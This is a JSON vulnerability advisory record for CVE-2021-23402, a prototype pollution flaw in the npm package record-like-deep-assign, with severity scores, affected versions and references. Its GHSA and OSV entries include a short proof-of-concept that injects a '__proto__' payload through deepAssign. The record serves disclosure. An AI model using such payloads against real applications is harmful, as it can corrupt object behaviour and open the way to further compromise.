{"id":"CVE-2021-23402","aliases":["EUVD-2021-2473","GHSA-7qm6-9v49-38m9"],"status":"published","title":"Prototype Pollution","description":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01171,"percentile":0.67696,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-1321","CWE-915"],"published":"2021-07-02T16:10:10Z","modified":"2026-06-17T03:38:41Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"record-like-deep-assign","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.1"}]}]},{"source":"osv","ecosystem":"npm","package":"record-like-deep-assign","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.1"}]}]}],"products":[{"vendor":"record-like-deep-assign_project","product":"record-like-deep-assign"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web"]},{"url":"https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35","tags":["x_refsource_MISC","x_transferred","Broken Link","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23402","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7qm6-9v49-38m9"},{"url":"https://github.com/kripod/record-like-deep-assign","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2021-23402","title":"Prototype Pollution","description":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.","status":"published","published":"2021-07-02T16:10:10.867Z","modified":"2024-09-16T16:59:12.075Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C","level":"high","assessor":"cna"}],"updated_at":"2026-11-02T14:33:00.488332Z"}],"euvd":[{"id":"EUVD-2021-2473","description":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.","status":"published","published":"2021-07-02T16:10:10Z","modified":"2024-09-16T16:59:12Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C","level":"high"}],"updated_at":"2026-11-03T00:55:46.200652Z"}],"ghsa":[{"id":"GHSA-7qm6-9v49-38m9","title":"Prototype Pollution in record-like-deep-assign","description":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```","status":"published","published":"2021-12-10T18:55:39Z","modified":"2023-09-11T18:40:52Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-915","CWE-1321"],"updated_at":"2026-11-02T14:37:03.916765Z"}],"nvd":[{"id":"CVE-2021-23402","description":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.","status":"published","published":"2021-07-02T16:15:08.773Z","modified":"2026-06-17T03:38:41.823Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:06:55.259633Z"}],"osv":[{"id":"GHSA-7qm6-9v49-38m9","title":"Prototype Pollution in record-like-deep-assign","description":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```","status":"published","published":"2021-12-10T18:55:39Z","modified":"2026-03-13T22:11:29.714694Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-1321","CWE-915"],"updated_at":"2026-11-02T15:46:41.349637Z"}]}}
